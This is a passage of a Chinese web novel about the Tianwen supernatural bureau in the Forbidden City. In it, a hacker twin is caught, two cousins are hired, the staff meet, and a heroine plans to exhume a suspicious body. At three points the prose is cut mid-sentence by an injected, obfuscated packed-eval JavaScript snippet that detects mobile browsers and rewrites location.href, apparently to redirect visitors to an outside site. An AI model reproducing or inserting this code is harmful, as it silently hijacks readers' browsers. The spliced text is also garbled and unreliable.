庄辰岚想起秦九,如果这个猜想是真的,那么这个施法者究竟是何方神圣,居然能瞒过她的眼睛,而且他又为什么盯上了庄辰星? 谁知庄海月道:“据我所知,即使是最顶尖的替身大师,也没法做到那种程度。” 庄辰岚喃喃道,“如果再让我看一眼尸体就好了。” 如果用这把升级后的斧头,那就肯定能确认这到底是不是替身。 庄海月摊开双手:“没办法啦,都已经下葬了。” “挖坟吧。” “?!” “挖谁的坟啊?让我也加入呗,我可是老手。”迟予知靠在门口的墙上,“一会儿出发去天问,没问题吧?” 庄海月嫌弃道:“大晚上的怎么去啊?” 庄辰岚:“不会还是坐鬼去吧?” “没错,晚上人少不容易被看见,而且夜晚它们能力更强,跑的更快。” 庄海月一边疯狂摆手一边往后退:“我我我我可不坐啊!” 迟予知倚在门框上,“天问总部有结界,没人带路可找不着。” “...那我蒙上眼睛吧。” 三人来到宾馆楼后,姜福子已经在此等候了。 迟予知喊道:“功曹。” 带着破烂斗笠的鬼影在雾中慢慢显现,与白日相比,它的身形至少扩大了两倍。 庄辰岚跃到功曹的一只胳膊上,庄海月闭着眼睛,好像盲人摸象一般,迟予知看不下去,直接把她提溜到功曹另一只胳膊上。 姜福子道:“还有座位,我们一起吧。” 迟予知道:“你变蛇爬着去。” “还有一个肩膀能坐,不要这么小气嘛。” 庄海月道:“小方回来了没?” 庄辰岚道:“我发消息让她不用等我们了。” 待四人坐稳,迟予知打了个响指:“出发!” 话音刚落,功曹如箭般飞出,速度简直比高铁还快,庄辰岚紧紧抓住它的头发防止被甩下去。 庄海月全身紧绷,腿抖得像面条:“我说你有没有考虑让它去游乐园打工啊!这不比大摆锤刺激!” 鬼影带着四人穿过鳞次栉比的大厦,穿过树影婆娑的森林,径直来到一个气派的古楼大殿前,红墙黄瓦,脊兽飞檐。 迟予知道:“到了。” 庄辰岚打开手机看了一眼导航定位,正如她所料,这里是紫禁城的未开放区域! 庄海月震惊道:“在这里?!这里可是故宫啊!你们这逼格也太高了点吧。” 姜福子道:“有什么好震惊的,以前我们可是在御和宫,现在被赶到了这种地方,深宫大院的每天也见不着几个人,搞得我总以为自己是冷宫里的妃子。” 迟予知道:“你是辛者库的奴才还差不多。” 大殿上有一块牌匾,上书“天问超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071136|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然事件管理局”,迟予知走上白石台阶,拿出证件,在右侧墙上一刷,斑驳的红色大门便自动缓缓打开了。 庄海月激动的瞪大双眼,庄辰岚也想一睹为快这个传说中的组织。 在这个全国最神秘的古董建筑里,设施却十分现代,斗拱枋梁下,空调冰箱一应俱全,雕花格扇前,软皮沙发和巨幕电视更是标配,休息区甚至还有咖啡机和零食柜。 庄辰岚一瞬间还以为自己在面试哪个互联网公司。 不过这极致反差的风格倒十分有趣,庄辰岚莫名觉得它跟天问成员的性格十分相似。 姜福子拿扇子拍了一下手掌,好像突然想起什么:“对了,我们还不知道两位叫什么呢。” 庄海月道:“我叫庄海月,她是庄辰岚。” 姜福子笑眯眯道:“好哦,小海月和小辰岚。” 两人对视了一眼,身上都爬满了鸡皮疙瘩。 姜福子接着道:“我叫姜福子,这个死人脸是迟予知,爱好是跟鬼玩儿,小海月可要离他远点儿。” 迟予知嫌弃道:“打架的时候没你,聊天的时候就你来劲。” 庄辰岚问:“这里怎么没人?” 迟予知道:“都在二楼吧。” 话音刚落,古董木楼梯上就传来了脚步声,好像有人正在一蹦一跳地下楼。 来人身着藏服,有着均匀的小麦色皮肤,长长的乳白色头发扎成双马尾,随着下楼的动作一摇一摆,庄辰岚本以为她头上带着的是两个深棕色蝴蝶结,仔细一看居然是两只羊角。 羊角双马尾一见到迟予知就扑了上来:“迟哥!你终于回来了!” 庄辰岚吃了一惊,听这声音,这双马尾居然是个男孩。 迟予知闪身躲过,顺带踢了一脚,藏服少年被踢得跌进了旁边的箱子里。 庄海月道:“这么可爱的小正太!你也太冷漠了吧。” “其实也不怪他。”姜福子道,“这孩子叫索南加,是只盘羊成精,他一直想吃掉小予知。” “什么玩意?”庄海月吃了一惊,“为什么?怎么吃?” “我也不知道,烤了吃吧,按他们的习俗可能要配碗酥油茶。” 庄海月默默退后,名叫索南加的藏服少年坐在箱子里,只露出一个头来,琉璃黄色的眼睛里是长方形的瞳孔,他双手扒在箱子边,看起来无比纯良:“迟哥走了两天看起来更好吃了,我在想要不要直接做刺身。” 姜福子道:“别闹了,没看到来新人了吗?” “我眼中只有迟哥呢。” 迟予知冷笑道:“你可千万别落我手里,把你皮扒了做羊毛大衣。” “你们可算回来了。” 一个疲惫的声音从背后响起,庄辰岚转身一看,只见一个青年正站在缓步平台处,他穿着条纹衬衫,外面是黑色的休闲西装,一手拿着咖啡,一手拿着笔记本电脑,庄辰岚不禁想:这完全就是社畜的样子啊。 青年一边下楼一边道:“老板去外面逮人了,你们稍等一下吧。” 迟予知道:“逮人?逮什么人需要老荒亲自出马?” “我不知道。” “不知道?不知道说这么理直气壮!要你有什么用!” 青年像是被吓了一跳,他弱弱道:“对不起。” 姜福子道:“他叫姚枝,是天问的秘书兼医生,有什么问题都去找他。” 名叫姚枝的青年哭丧着脸:“不要都来找我,有些问题我也没法解决。” 话音刚落,门外响起一阵嘈杂: “放开我啊!你这是非法抓捕!” “我要告你!你就等律师函吧!” “你有我犯罪的证据吗?你有跨境抓捕许可吗?!” 庄辰岚心下一动——好熟悉的声音。 没想到庄海月也道:“这声音是不是有点耳熟。” 抱怨声逐渐变大,门外的两个身影也逐渐清晰,待看清来人后,庄辰岚又一次震惊了。 20.密斯卡托尼克 需要天问副局长亲自出马抓捕的人,居然是江林风?! 但她不是今天还在美国吗? 庄辰岚不禁回头看庄海月,只见她眯着眼睛,好像在认真分辨:“这人是不是江林风?” 庄辰岚服了:“你连自己的双胞胎妹妹都认不出来?” “长得跟自己太像了反而有点陌生,物极必反嘛。” “重点是这个吗?” 庄海月这才反应过来:“林风——你怎么被抓了?!” 江林风跟庄海月不愧是双胞胎,她看见庄海月,也是认了半天:“是庄海月吗?” 待看到旁边的庄辰岚后,她这才确认对面就是自己的双胞胎姐姐:“你俩怎么在这?也被他们抓了?” 荒村梨花开口了:“现在还装傻吗?” 江林风道:“我装什么傻,你口口声声说我攻击你们组织,但直到今天上午我还在太平洋另一边!” 荒村梨花坐在旁边的椅子上,她右眼带着一个黑色的眼罩,即使只剩左眼盯着,也能让对方感到无比的压迫感。 江林风被这道目光盯得没了刚才的架势,她移开目光道:“我每天要干这么多事,自己做过什么早就忘了,你能不能直说。” 荒村梨花翘着二郎腿道:“那我就节省大家的时间直说了,江林风,你在一个星期前入侵了天问的内部网络吧。” “哈?”江林风突然又恢复了胜券在握的表情,“你有证据吗?” “没有证据,你的黑客技术确实非常厉害,入侵痕迹被抹的一干二净。” “那你们怎么知道是我的?没有证据就抓人?懂不懂法律啊!” 荒村梨花笑眯眯道:“小朋友,这世上不是所有地方都奉行法律,抓人呢,也是不需要证据那种鬼东西的。” 索南加凑过来:“我们老大会遥视哦,无论小姐姐你在多远的地方都能看到。” 江林风道:“不可能,这前后逻辑都不对,不知道计算机被侵入过怎么可能开那什么遥视抓人?” 姚枝道:“天问用的不是普通的计算机网络,而是需要灵力或特殊法器才能使用的灵网,所以就算你黑客技术再高超,在灵网也还是会留下痕迹的。” “什么灵网?你们知道我是谁吗?我可是代号5的开发人,从没听过灵网这种东西。” 迟予知道:“代号5是什么?” 庄辰岚道:“目前世界上最先进的AI。” “哦——”迟予知道,“AI是什么?” 姜福子道:“小予知,都说你应该多读读书了吧,AI呢,就是电脑成精,我们店的同事遇到难缠的女人都会去问他该怎么办,解决问题后还不用还愿供香火。” 庄辰岚道:“你俩都去多读读书吧。” 姚枝给江林风解释:“因为灵网根本不是给普通人和科学家用的啊。” 荒村梨花道:“灵网系统有尘寰阵法加密,但看你完全不懂术数相关,肯定是有厉害的同伙吧。” 她一边说,一边瞟了瞟旁边的庄海月。 江林风放弃了反抗,她指向庄海月:“她!都是她让我干的!跟我没关系啊!” 庄海月突然被指认,也喊道:“你个狗崽子!血口喷人!” “你才是没良心的!都是你让我黑一个系统,我怎么知道是什么灵网啊!你都给我的黑客生涯造成污点了!” “行了,“荒村梨花道,“既然你们已经承认了,那就心服口服的接受惩罚吧——在这里被关三十年,还是出去后被监视六十年,选一个吧。” “什么?!”江林风都要哭了,“我都不知道自己能不能活六十年,我把信息给她后就再也没管过了,我真的什么都不知道!” 庄海月道:“我选择给你们打一辈子工,怎么样?” 荒村梨花笑道:“别以为你的打工很有价值,但既然你能破解尘寰阵法,我就给你一个机会,说说你能留下来的资本。” “那你可听好了,”庄海月道,“我就是black neko。” 江林风道:“大庭广众下说出自己的网名真的好吗?” 然而,在场的人除了庄辰岚和索南加都吃了一惊。 江林风看到这场面也吃了一惊:“你们都什么反应?” 庄辰岚心想江林风一直在国外,不知道black neko也很正常。 姚枝道:“你就是那个天才侦探?怪不得能解开尘寰法阵。” 荒村梨花道:“看起来确实让我们无法拒绝啊,但是仅凭这一点,我无法通过哦。” 庄海月道:“这都不行?那当你们这儿的员工是要马上飞升还是怎的?” 江林风道:“black neko到底是什么东西啊,这不是你cn吗,我看你天天抱着switch看来看去,还一口一个老师,你混的哪个圈,不是二刺螈圈子吗?” 庄海月道:“是玄学圈,不过你说的那个我也在啦,两个其实差不多。” “差太多了好吗!”江林风喊道,“我以为你天天玩推理嘴里还念念有词是在cosplay啊,而且哪个算命的给自己取这么羞耻的名字啊!” 庄海月看向庄辰岚:“这名字真的很羞耻吗?” 庄辰岚点了点头。 庄海月好像受到了什么重大的打击。 荒村梨花道:“请问大名鼎鼎的black neko,你还有什么入职的资本呢?” “我有狭间的独家情报,你想要吗?” “或许你说的独家情报,天问早就已经知道了。” “不,你绝对不知道。”庄海月勾起嘴角,“荒村梨花小姐,据我所知,你也曾经是术士吧,我猜你肯定会察觉到——术数学已经不存在了。” 荒村梨花罕见的露出严肃的表情。 “我知道那是因为什么,重要机密,我们关起门来说?” 荒村梨花转身上楼:“来这边。” 庄海月指了指江林风:“这家伙确实什么都不知道,她只是一个搞科学的。” 江林风似是抓住了救命稻草:“没错没错,就是这样,什么八卦啊五行啊,我一点都不懂!别说不懂了,我根本就不信!” 荒村梨花不语,她走过庄辰岚道:“一会儿你来我办公室一趟。” 庄海月跟着荒村梨花上楼后,众人都来到休息区处。 庄辰岚打开两罐冰可乐,一罐自己喝,一罐递给江林风:“好久不见了。” 江林风接过可乐,揉了揉太阳穴:“正做着实验呢就突然被那个女人抓走了,我导师和同学都以为我犯什么事被唐人街的□□盯上了。” 庄辰岚道:“你是在哪个大学来着?” “密斯卡托尼克大学,马萨诸塞州那个。” 迟予知看向庄辰岚:“她们俩都这么不靠谱吗?” 索南加道:“还是迟哥好,迟哥最靠谱了。” “你给我哪凉快滚哪去。” 姜福子摇了摇扇子:“不过老板居然真的连black neko都不要,想不明白。” 庄辰岚道:“那她为什么会招我?我也想不明白。” 迟予知大咧咧坐在沙发上:“有什么想不明白的,第一次就能一个人消除狭间,老荒现在就需要这样的牛马。” 索南加道:“梨花姐需要牛马,但我是羊啊?” “嗯,等她哪天想吃羊了就把你炖了。” “啊?明明迟哥看起来更好吃,要吃也应该先吃迟哥。” 江林风道:“你们这到底是个什么公司啊,什么灵网、狭间,说的完全听不懂。” 迟予知道:“土匪窝。” 索南加道:“我知道!土匪会吃人!那我可以吃迟哥吗?” 迟予知骂道:“你给我闭嘴,一天到晚除了这两句话你还会说什么,要不是咱俩同事,我早就把你做羊肉串了!” 就在此时,庄海月一蹦一跳地从楼上下来。 她来到众人面前,张开手臂:“本人被录取了。” 姚枝从笔记本后面探出头:“在我这里登记吧。” 荒村梨花站在二楼栏杆处,朝庄辰岚招了招手。 来到她办公室,荒村梨花道:“既然我们现在是伙伴了,那就告诉我你在狭间看到了什么吧。” 庄辰岚不答反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071137|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“在旧土论坛发布狭间帖子的人,你们认识吗?” “哦,古月虫啊,她就是天问的局长。” “啊?”庄辰岚大跌眼镜。 荒村梨花拄着脸颊,“他们这些人啊,真不知道是用了什么方法,连这种东西都能知道,看来干这行还得是天赋最重要。” 庄辰岚不想对她后面这句话发表评价,在讲述完在狭间发生的事后,她又告诉了荒村梨花那个光台的地方传说。 荒村梨花带着黑色手套的双手来回摩梭,好像在认真思索。 她道:“以往的狭间都是与这个世界完全不同的样子,从来没见过与本世界相似的狭间,尤其还是与一百年前的饭店相似。” “而且你居然还从里面拿了东西出来,”荒村梨花把玩着那个皮卷,“看来这次的狭间确实不同寻常。” 庄辰岚道:“你们有什么解释吗?” “抱歉没有,”荒村梨花道:“我们对它的了解也才刚刚起步。” 庄辰岚道:“那两个一模一样的钥匙呢?不会除了异世界外,还有平行世界吧,这样就能解释为什么这次的狭间会与本世界相似了。” 荒村梨花从盒子里捏起那两把钥匙,观察了一会儿:“并非一模一样。” 她又将些许法力注入:“不是复制品,两个都是真实存在的。” 她将皮卷和钥匙放回盒子里,然后笑道:“你的情报都非常珍贵呢,如果能研究清楚,我们对狭间的了解肯定能前进一大步——我会跟局长汇报的。” “我还有一个问题。”庄辰岚道,“刚才听海月说,您也是术师,所以我想问,术数真的能做到直接算出杀人犯和杀人手法吗?就像海月那样。” “能做到这种程度的话,精湛的术数和强大的推理能力缺一不可,”荒村梨花道,“海月能用软件在短时间内大量起卦,然后将卦解到极致,她起卦的问题十分一针见血,再配合过人的推理能力,算出这些并不难。” “你只看到了她的术数,其实在这之后,是更重要的敏锐的观察力和缜密的推理能力,如果没有这些,即使术数能力再精湛,也依然无济于事。” “这样,我明白了。” 荒村梨花从椅子里站起来,她刚想把盒子拿走,就被庄辰岚抢先一步拿了过去。 “这是我的东西,应该由我保管。” 庄辰岚怀疑他们雇佣自己只是想要情报的手段而已,如果拿走这个盒子,说不定过两天就把自己开了。 荒村梨花看出来她的想法,笑道:“没问题。不过,你不用怀疑我雇佣你的目的,除了你在长生殿的表现,还有一个最重要的理由。” “什么?” 荒村梨花食指竖起:“保密。” 她永远不会告诉她的,因为最重要的理由就是荒村梨花是个重度颜控,而庄辰岚正好长在她的审美点上。 姚枝也是她这么招进来的。 荒村梨花道:“你去姚枝那里登记一下吧。” 庄辰岚问:“工资,真的有这么多吗?” 荒村梨花抬起头:“你很缺钱吗?” 庄辰岚腹诽,这什么意思,难道我不缺钱就不发工资了? 于是她答:“很缺。” “真可怜。” 庄辰岚无语:“你们不会不给工资吧。” 荒村梨花道:“怎么可能,你下去问姚枝吧。” —— 姚枝递过来一张工资条:“这是我上个月的。” 庄辰岚接过来一看,眼珠子都要掉出来了:“还真这么多?” 姚枝的眼神似乎看向虚空:“真的。” “是人民币吗?” 对方沉默了。 “?”庄辰岚道,“你怎么不说话?” 索南加走过来:“姚枝哥,你上个月工资我帮你烧了。” “?”庄辰岚,“烧了是什么意思?” 索南加道:“你不知道吗,亏你还是人类呢,连我都知道,死了之后也要用钱,所以要烧纸钱的。” 怪不得工资条后面那么多零。 庄辰岚:“不是,你们有病吧。” 21.超自然组织们 庄辰岚睁开双眼,缓缓从床上坐起来。 拉开窗帘,清晨的阳光洒在身上,洁净的玻璃倒映出房间的样貌——一张单人床,一个衣柜,一张书桌,屋内铺着木地板,干净整洁,还有独立卫浴,比她之前的合租房好太多。 庄辰岚突然心情大好,她眯起眼睛,伸了个懒腰,甚至小声哼起了歌。 这里是天问的员工宿舍,位于京都一个普通公寓楼内,庄辰岚做梦都没想过自己这么快就能在寸土寸金的京都有一个属于自己的房间。 昨天听说天问的工资是纸钱后,她差点吐口水走人,但姚枝又说纸钱工资只是一部分,阳间的钱也是给的,只是不算多,但除此之外还有免费居住的员工公寓,确定真实性后,庄辰岚这才签了合同。 她发现这个调查局真的很擅长打人一巴掌再给个甜枣。 除了这个宿舍,入职后庄辰岚还得到了一部新手机,但用姚枝的话说,这不是手机,而是“灵端”——通了灵网的终端,简称灵端。 灵端是天问调查员的专用设备,不仅不会耗电、全部信息加密,还能浏览旧土论坛一些圈子内部的帖子和被删除的内容。 灵端传来“滴滴”两声,荒村梨花在调查员的群里发消息:“所有人九点到局里开会。” 这就开始上班了?庄辰岚有点恍惚。 她来到卫生间洗漱,睡醒一觉的棕色长发在脑袋上炸开,使她像一个蓬松的小狮子。 庄辰岚把脸埋在浓密的头发里,闻到了和母亲头发一样的柠檬茶的味道,每每闻到这个味道,她都有一种童年夏季的晚风吹在脸上的安心感。 刷牙洗脸,又将头发梳顺,她用小巧的银制蝴蝶夹将一部分头发夹在脑后,碎发从夹子里翘出来,像毽子一样。 在镜子中检查自己的仪表:平眉深目,长相英气,眼角稍下的鼻梁上并排长着两个痣,因为位置太过奇怪,旁人总以为是她自己画上去的。 刚走出卫生间,庄辰岚就听见敲门声——是姚枝。 他站在门口:“你好,岚小姐,老板说,第一天让我带你认路,然后,介绍一下组织,所以,我们一起去,可以吗。” 他声音越来越小,说话的时候眼睛都不敢直视对方,庄辰岚还是第一次见到这么标准的社恐。 她点了点头,然后道:“天问的调查员都住这里吗?” 姚枝道:“除了姜先生,其他都在。” “姜福子?那他住哪?” “御和宫。”姚枝道,“殿里的那尊神像,其实一百年前就被他鸠占鹊巢了。” 庄辰岚震惊道:“那去里面拜佛求仙的,岂不都是拜的他?” “所以他的修为才能突飞猛进,”姚枝道,“明明只修炼了一百多年,但离化龙只剩临门一脚了。” 庄辰岚质疑道:“这样肯定会遭报应的吧。” “这个我就不知道了,一百多年前的事,早就说不清了。” 二人走在前往总部的小道上,能在这里面上班,搁以前庄辰岚想都不敢想。 她道:“那我们现在的工作,算是有编制吗?” “啊,这个,”姚枝道,“应该是有吧,但跟没有也没什么区别。” “什么意思?” 姚枝解释道:“天问并不是严格意义上的官方组织,我们跟政府,算是各取所需。” “各取所需?天问想干什么?” “从名字就能差不多看出来吧,遂古之初,谁传道之,天命反侧,何罚何佑,局长想要探究世界的真相,在此过程中,为了行事方便,必须要跟政府合作。”姚枝道,“而政府也需要强大的力量去控制各方零散的超能力者、解决超自然事件,所以天问和政府,其实是合作关系。” 庄辰岚道:“王犬和小妹,你认识吗?” “他们俩?”姚枝道,“他们是新山合的成员,跟天问一样,也是跟政府合作的超自然组织,不过他们目的不明,最近好像跟港岛一个影视公司的老板走的很近。” 庄辰岚想起王犬撕扯人肉的情景:“这些组织的成员,”她组织了一下语言:“脾气都很怪吗?” 姚枝似乎被戳中痛点,欲哭无泪:“都是一群变态怪物!” “那你......” “我是人类!”姚枝道,“在你们来之前,我都是跟一群妖魔鬼怪呆在一起。” 庄辰岚惊讶道:“副局她,也不是人类吗?” 姚枝道:“她都活了几百年了,是个树妖。” 荒村梨花的修为,居然能躲过天眼的识别。 他接着道:“姜先生是青蛇妖,索郎是盘羊精,迟先生是鬼,但他偏说自己是人类,但哪有活了一百多年还这么年轻的人类啊,其实他只是忘记自己已经死了吧。” 庄辰岚震惊了,自己这是来了什么鬼地方啊。 她突然知道为什么政府会把这个组织安排到紫禁城里了,这个建筑自带的威严与不可言说的力量,可以在某些程度上束缚与控制他们。 庄辰岚道:“那局长呢?她是什么?” “不知道,”姚枝道,“局长神龙见首不见尾,我们都没见过,天问现在见过她的,估计只有副局老板了。” 庄辰岚道:“那你是为什么加入天问的?” “这,呃,”姚枝支支吾吾。 “啊,你不想说也没关系。” “.....谢谢。” 庄辰岚意识到刚才自己有些冒昧了,加入这种组织的人,或许都有一段不想再提的往事,大家彼此只是同事关系,谁都不想对谁掏心掏肺。 二人来到一处红墙边,姚枝拿出皮夹,按在墙上,上面便出现一个发光的入口。 姚枝把皮夹递给她:“这是你的证件,用它可以打开天问总部的所有大门。” 庄辰岚打开证件,跟上次见到的迟予知的证件一样,最上面是一张蓝底一寸证件照,下面是“天问超自然事件管理局,调查员,庄辰岚”。 姚枝指了指墙上发光的椭圆形:“这是直达总部的入口,只要把证件按在任意红色的宫墙上就可以打开。” 庄辰岚大开眼界,这也太炫酷了吧。 会议室设在主殿一楼的最东边,落地花罩充当了大门的作用,这都是宫殿原装的设施。 极具紫禁城特色的金砖上,是一张现代会议桌,迟予知两腿翘到桌子上,对姚枝道:“去,给我来碗豆汁儿。” 姚枝皱着眉道:“这里没有豆汁。” 迟予知喊道:“只是一碗豆汁儿,我又没让你整燕窝红白鸭,鱼翅炖豆腐,这你都办不了?” 姚枝辩解道:“这里又不是早餐店。” “啊?”迟予知盯着姚枝,一下下锤着桌子,“给本王做早点,是你这个,庶民的,荣幸。” “......”姚枝被他漆黑的瞳孔盯得后背发凉:“豆汁实在没有,我去给你倒杯咖啡吧。” 迟予知又喊道:“你就会整那些洋玩意儿!早上不喝豆浆豆汁豆腐脑,喝那东西干什么!” 姚枝面对这个无赖,依旧好言相劝:“早上喝咖啡有精神。” “行吧,”迟予知把双手枕到脑后,“记得多加点儿糖,上回喝一口还以为中药呢。” 姚枝赶紧转身往外走,谁知直接跟姜福子撞了个对脸。 他摇着扇子:“姚枝啊,去给我泡壶茶来。” 说完,他一甩辫子,一撩旗袍,优雅的靠在椅子上。 姚枝抿着嘴唇,隐忍地站在原地。 姜福子拄着下巴,疑惑道:“愣着干什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081687|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚枝没有反抗的勇气,还是乖乖照做了。 庄海月打着哈欠进来:“早啊,岚岚。” 庄辰岚道:“林风呢?” “你这么关心她?”庄海月嘻嘻一笑,“昨晚连夜跑了。” “一大早就这么热闹?”荒村梨花踩着高跟鞋进入会议室,路过庄辰岚时给了她一个wink。 她没有坐在长桌的最远端,而是随意挑了个座位坐下: “这次会议呢,主要是欢迎我们的新同事——庄辰岚和庄海月。来,欢迎欢迎。” 会议室里鸦雀无声,别说是掌声了,甚至连分出的目光都没有——迟予知依旧跷着双腿掏耳朵,姜福子拿刮刀打磨自己的指甲,索南加聚精会神的趴在桌子上看漫画。 “全体!”荒村梨花突然大喊一声,众人吓了一跳。 荒村梨花柔声道:“妈妈正在说话呢,是哪个坏孩子没有认真听讲?” 看到众人集中了注意力,她继续道:“然后,关于辰岚从狭间带出来的皮卷和钥匙,我去联系了局长。” 庄辰岚瞬间打起了精神。 “就结论来说,皮卷上的文字和符号局长也看不懂,需要进一步破译,至于那个钥匙,”荒村梨花道,“局长排除了平行世界的可能,她的原话是这么说的: ‘宇宙必定是充满秩序与优美的,它的每一份力量也必定使用在最关键的地方,因此这些与主世界重复率太高的所谓“平行世界”,不值得宇宙为它们使用太多能量,因此它们并不“真实存在”,但又并非“不存在”,它们以一种特殊的形态被折叠在本世界的无线可能性之中’。” 迟予知和姜福子对视了一眼,放下心来——对方都没听懂。 庄辰岚道:“她的意思是,另一把钥匙只会是‘概念’的形式,而绝对不会以‘物质’的形式存在,因此这个钥匙就是本世界的东西?” 迟予知和姜福子震惊了:“你听懂了?!” 庄海月对二人道:“你们就简单理解为平行世界不存在吧。” “就是这样,”荒村梨花道,“至于这把钥匙的真正来历,局长非常重视,也会继续调查——今天开会就是这两件事,好了,散会吧。” “那个,”庄辰岚举手道:“我想问一下,我们不用坐班吧。” 荒村梨花道:“这个当然不用,灵网没有发布任务,你们就自由活动吧。” 庄海月道:“天问的工作是灵网发布的?” 荒村梨花朝端着茶盘进门的姚枝勾了勾手:“你来给她们解释。” 姚枝把茶盘放在桌上:“好,好的。” 他道:“我们的工作是解决各种超自然事件,局长发明的灵网,可以自动检测全国的大型灵异事件,还能以旧土论坛上的帖子为大数据基础为我们提供线索,自动向调查员发布任务与线索,就不用我们耗费人力去走访调查了,只需要接到任务后解决就可以。” 庄海月道:“这不就是AI吗,这么方便。” 姚枝道:“与其说是AI,其实更像一种法器吧,不过这个法器跟网络一样,也是无形的。” 庄辰岚现在对天问的局长产生了极大的兴趣——能观测宇宙、发明超时代的法器、以洞察世界为目标创立天问,还有非凡的远见选择与政府合作,这个人,究竟是何方神圣? 她对庄海月道:“你接下来要做什么?” “避劫。” “避劫?” 庄海月道:“我每次卜卦后就会因为泄露天机遭天谴,所以要避劫,为了防止创业未半而中道崩殂,本人这段时间会大隐隐于卧室。” “回南华吗?” “bingo。” “正好,”庄辰岚道,“跟我一起把辰星的坟刨了。” 22.竹马之死1 庄辰岚和庄海月坐在回南华的高铁上,她的斧头变为镯子形态,终于能通过安检坐高铁而不是在长途车上煎熬了。 庄海月道:“我说你还真要挖他坟啊,你到底是他青梅竹马还是仇人。” “挖完又不是不给埋,”庄辰岚道,“而且那具尸体绝对有问题,我必须查清楚。” “退一万步说,就算那具尸体真的是泥巴,接下来你又去哪查?你是不是忘了,关于南华村所有人的事,我都算不出来。” 庄辰岚道:“你是不是忘了,我们已经是天问调查员了,去清平公安局翻案不是轻而易举。” 据荒村梨花所说,天问调查员在国内司法体系里拥有极大权限,不仅能审理办案警员,阅读所有卷宗,还能直接与局长接触,甚至半路参与办案。 “好吧,”庄海月道,“不过这次我可陪不了你,这几天我要在房间里避劫。” “不避会怎样?” “看情况吧,这次我在长生殿算的太多,估计折寿都算轻的了。” 庄辰岚沉默片刻,道:“长生殿的事,你到底知道多少,你知不知道方姐会请外援,知不知道那个外援就是我?” “你这也太高估我了,”庄海月道,“我也不是步步都能料到的,我只知道我的举动会造成什么结果,至于中间会发生什么,我全都不知——除非一步步算,不过那样很累,而且没必要。” 所以她是真的没把自己的命当回事。 —— 回到村里已经差不多零点了,庄辰岚这次特地用从狭间带回来的钥匙开锁,不知怎的,她甚至感觉这把钥匙开的更加丝滑。 真是见了鬼了。庄辰岚心道。 庄辰岚家往上数三代都并不富裕,院里只有一个主屋和一间偏房,当初政府按照房屋数量给村民征用金,庄辰岚家得到的几乎最少,只不过他们拿了征用金,仍然可以住在房子里,就是这些房屋和土地不再为他们所有,不能随便在院里盖房子,也不能随意更改屋内装修,连重新买个桌子都要向上报备。 所谓穷不过三代,庄辰岚想着怎么着也该自己富一回了吧。 进入主屋往东走,拉开一扇鹅黄色的木门,便是她跟母亲的房间,小小的屋子里摆了两张床,便只剩下一个过道。 卧室过道的尽头,两张床的床头,有一个黑色的梳妆台,庄辰岚在里面翻找挖坟起钉的工具,却没想到把几个牌位翻出来了,母亲的,外公的,还有外公的母亲外曾祖母的,庄辰岚想着拿都拿出来了,就都擦干净摆在了正屋面对大门的桌子上。 庄辰岚没有父亲,是母亲买精生子才有了她。 庄辰岚的母亲庄年欣与庄海月的母亲庄年依也从小便是好友,据说二人学习成绩很好,时常位列班级一二,但后来的发展却大相径庭——庄年依去了美国留学,而庄年欣则留在了南华村,跟父亲一起杀猪卖肉。 庄年欣不想结婚,却一直想有一个孩子,在外留学,见多识广的庄年依便告诉了她买精生子的方法。 但这并不是一个小数目,庄年欣没有钱,庄年依便借钱给她,并在从中牵线搭桥,帮她跑东跑西。 庄辰岚的外公庄万桉知道此事后大发雷霆,从此跟庄年依家断绝来往,不允许女儿跟她再联系,可无论怎样,此时木已成舟,他也没有办法。 而且外公嘴硬心软,在女儿怀孕过程中依旧悉心照料,家里还有一个九十多岁的母亲,那段时间庄万桉简直忙的脚不沾地。 说起庄万桉这位九十多岁的母亲,庄辰岚的曾祖母,她名叫庄孟羽,出生于民国时期,经历了军阀混战,抗日战争,国共战争,见证了十一建国,集体公社,苏联解体等无数历史节点等,也算是行走的人肉历史书了。 村里别说跟她同辈的,就算是她的下一辈也走了很多。 随着曾祖母越来越老,她的精神也越来越混乱,有时候她会把大米和绿豆塞进墙缝和地砖里,别人问她为什么要这样做,她说会有当兵的来抢粮食——她以为现在外面仍在军阀割据。 但是后来她对时间的感知逐渐好转了,因为她把之前的事全都忘了。 她忘了很多过去的事,忘了村子里的人,到最后甚至连孙女庄年欣都不认识了。她每天的日程就是坐在村口,呆呆地看向远方,她的眼窝深深凹陷下去,眼皮几乎盖住了整个眼睛,但她依旧望着,看着,看到太阳落山,再一步一歇地晃回家里,第二天,大三天,周而复始。 她一整天都不说话,没人知道她在想什么,也没人想知道她在想什么。 